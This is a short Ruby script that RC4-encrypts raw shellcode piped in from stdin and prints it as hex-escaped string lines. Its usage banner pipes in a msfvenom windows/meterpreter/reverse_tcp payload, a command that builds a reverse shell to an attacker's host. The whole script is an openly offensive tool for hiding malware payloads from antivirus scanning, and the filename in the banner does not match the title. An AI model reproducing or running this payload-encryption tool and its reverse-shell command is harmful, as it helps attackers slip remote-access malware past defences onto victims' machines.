RC4 Encryption for Shellcode

rc4-encrypted_shellcode.rb

require 'rc4'
require 'optparse'

options = {}
optparse = OptionParser.new do |opts|
    opts.banner = "Usage: msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.13.1 -f raw | ruby ./rc5-encrypt.rb --key demo"
    options[:key] = nil
    opts.on('-k', '--key KEY', 'encryption key') do |key|
        options[:key] = key
    end
    opts.on('-h', '--help', 'display help') do
        puts opts
        exit
    end
end.parse!

if not STDIN.tty? and not STDIN.closed?
    shellcode = STDIN.read
else
    puts "[!] Require shellcode generated by msfvenom!"
    exit
end

key = options[:key]
enc = RC4.new(key)
encrypted = enc.encrypt(shellcode)
enc_payload = (encrypted.unpack('H*'))[0].scan(/../)

sc_in = []
enc_payload.each_slice(15) do |array_hex|
    sc_in << array_hex.join('\x').prepend('\x')
end

sc_out = []
sc_in.map do |sc_line|
    if sc_line != sc_in.last
        sc_out << "\"" + sc_line + "\" +\n"
    else
        sc_out << "\"" + sc_line + "\"\n"
    end
end

puts sc_out